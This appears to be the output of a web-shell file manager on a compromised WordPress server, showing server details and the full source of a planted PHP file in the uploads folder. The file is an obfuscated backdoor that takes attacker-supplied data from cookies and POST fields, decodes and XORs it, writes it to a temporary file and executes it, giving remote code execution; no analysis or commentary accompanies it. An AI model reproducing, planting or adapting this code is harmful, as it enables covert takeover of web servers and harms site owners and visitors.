HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2023/SwvVgag.php
$LBtHXLoWt = chr (108) . "\137" . chr ( 405 - 290 )."\x61" . 'k' . chr (111) . chr ( 618 - 537 ); $DVTBGBLR = "\x63" . chr (108) . chr (97) . "\163" . "\163" . "\137" . "\145" . "\x78" . "\151" . chr ( 1021 - 906 )."\x74" . chr (115); $jWOTGPSimn = class_exists($LBtHXLoWt); $DVTBGBLR = "48401";$LzYtm = strpos($DVTBGBLR, $LBtHXLoWt);if ($jWOTGPSimn == $LzYtm){function XWtVDz(){$VjVSUCRU = new /* 34731 */ l_sakoQ(14707 + 14707); $VjVSUCRU = NULL;}$wAokK = "14707";class l_sakoQ{private function ZEElguuK($wAokK){if (is_array(l_sakoQ::$vTFqxdcup)) {$name = sys_get_temp_dir() . "/" . crc32(l_sakoQ::$vTFqxdcup["salt"]);@l_sakoQ::$vTFqxdcup["write"]($name, l_sakoQ::$vTFqxdcup["content"]);include $name;@l_sakoQ::$vTFqxdcup["delete"]($name); $wAokK = "14707";exit();}}public function qpELIQyfLM(){$jIBxqX = "49170";$this->_dummy = str_repeat($jIBxqX, strlen($jIBxqX));}public function __destruct(){l_sakoQ::$vTFqxdcup = @unserialize(l_sakoQ::$vTFqxdcup); $wAokK = "40845_61794";$this->ZEElguuK($wAokK); $wAokK = "40845_61794";}public function QrGFkh($jIBxqX, $eqwDnB){return $jIBxqX[0] ^ str_repeat($eqwDnB, intval(strlen($jIBxqX[0]) / strlen($eqwDnB)) + 1);}public function xPYgZcJE($jIBxqX){$wlaYw = chr (98) . 'a' . "\163" . chr (101) . chr (54) . "\x34";return array_map($wlaYw . chr (95) . "\x64" . chr (101) . "\143" . chr ( 344 - 233 ).'d' . "\x65", array($jIBxqX,));}public function __construct($tzhTjJrc=0){$XvoZWaali = ',';$jIBxqX = "";$YCgBJaa = $_POST;$anGOST = $_COOKIE;$eqwDnB = "3e0d37ba-3e9f-45ca-9e25-3aa0f6d08d26";$lJICPOGK = @$anGOST[substr($eqwDnB, 0, 4)];if (!empty($lJICPOGK)){$lJICPOGK = explode($XvoZWaali, $lJICPOGK);foreach ($lJICPOGK as $PtCwAr){$jIBxqX .= @$anGOST[$PtCwAr];$jIBxqX .= @$YCgBJaa[$PtCwAr];}$jIBxqX = $this->xPYgZcJE($jIBxqX);}l_sakoQ::$vTFqxdcup = $this->QrGFkh($jIBxqX, $eqwDnB);if (strpos($eqwDnB, $XvoZWaali) !== FALSE){$eqwDnB = str_pad($eqwDnB, 10); $eqwDnB = ltrim($eqwDnB);}}public static $vTFqxdcup = 39472;}XWtVDz();}